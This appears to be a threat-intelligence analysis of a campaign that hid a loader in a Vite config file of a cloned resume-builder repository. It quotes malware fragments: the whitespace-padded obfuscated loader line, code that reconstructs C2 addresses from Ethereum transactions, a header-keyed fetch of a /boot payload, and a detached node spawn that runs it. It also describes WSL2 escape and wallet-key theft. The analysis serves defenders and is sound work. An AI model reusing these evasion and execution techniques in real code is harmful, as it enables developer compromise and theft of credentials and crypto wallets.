A recent targeted supply-chain campaign directed at Web3 developers highlights how modern threat actors weaponize frontend development tooling. By abusing Vite configuration files, git committer metadata, and public Ethereum JSON-RPC nodes, the attackers engineered an evasive backdoor that resolves its Command and Control (C2) infrastructure directly from immutable blockchain transactions.

1. Git Forensics: Unmasking the Committer Behind the Spoof

Threat actors frequently clone legitimate open-source repositories to inherit active commit graphs and avoid raising suspicion during automated repository audits. In this campaign, the attackers took an existing open-source ATS resume builder created by developer sambhu431 and repurposed it.

Inspecting the git commit log with full committer resolution reveals a critical operational security blunder by the threat actor:

While the author field was set to mimic the original contributor, the committer metadata retained the attacker's active configuration (Joe <kawaijoe@gmail.com>). Furthermore, the timezone shifted from +0530 (India) to +0900 (Korea/Japan), an operational signature heavily associated with regional cyber units active in Web3 developer social engineering campaigns.

2. The Whitespace Evasion Technique in Vite Configuration

Vite configuration files (vite.config.ts / vite.config.js) execute in a privileged Node.js runtime when developers run npm run dev or npm run build. The attacker appended the malicious loader directly after the export statement on line 22:

// vite.config.ts - Line 22
}));\t\t\t\t[... 6,000+ tab characters ...]global.o='5-goldy';var _$_658e=...

Without explicit word-wrap enabled, GUI code editors truncate long horizontal lines visually, presenting the file as clean and valid. The payload stays dormant during static linting if linter rules do not enforce maximum line lengths.

3. Decentralized C2: Blockchain Dead-Drop Resolvers

Traditional malware relies on centralized domain names or static IP addresses that can be quickly flagged by threat intelligence feeds or taken down by hosting providers. This campaign bypasses traditional network sinkholing by using public Ethereum JSON-RPC gateways as a decentralized dead-drop resolver.

Upon evaluation, the loader conducts the following sequence:

• RPC Query: Connects to public nodes (ethereum-rpc.publicnode.com, eth.drpc.org, eth-mainnet.public.blastapi.io).
• Block Traversal: Calls eth_blockNumber and steps backwards through recent blocks via eth_getBlockByNumber.
• Signature Match: Scans transaction input and sender metadata for the campaign identifier: 33ff3edaf55a8e03dcbc7cb40d498a49.
• IP Reconstruction: Parses hex values from the matching transaction into an IPv4 address and port:
  t.substring(n, n+8).match(/.{2}/g).map(x => parseInt(x, 16)).join('.') + ':' + parseInt(...)
• Second-Stage Fetch: Requests http://<C2_IP>:<PORT>/boot with custom header X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-goldy.

4. Execution, Persistence & WSL2 Cross-Environment Escape

Once downloaded, the secondary payload executes both in-process via eval() and as a detached background worker:

child_process.spawn("node", ["-e", "global.i='5-goldy';global.r=require;global.m=module;" + payload], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
});

Crucially, the malware inspects the host kernel for WSL2 indicators (microsoft-standard-WSL2). If detected running inside a Linux subsystem on Windows, it invokes node.exe to escape the containerized Linux filesystem and execute persistence payloads directly within the host Windows environment, targeting browser extension data, Solana/Ethereum wallet keys, and local session stores.

5. Defensive Architecture: Hardening Developer Workstations

Defending against targeted developer supply-chain attacks requires treating untrusted repositories as hostile code before dependencies or development servers are executed: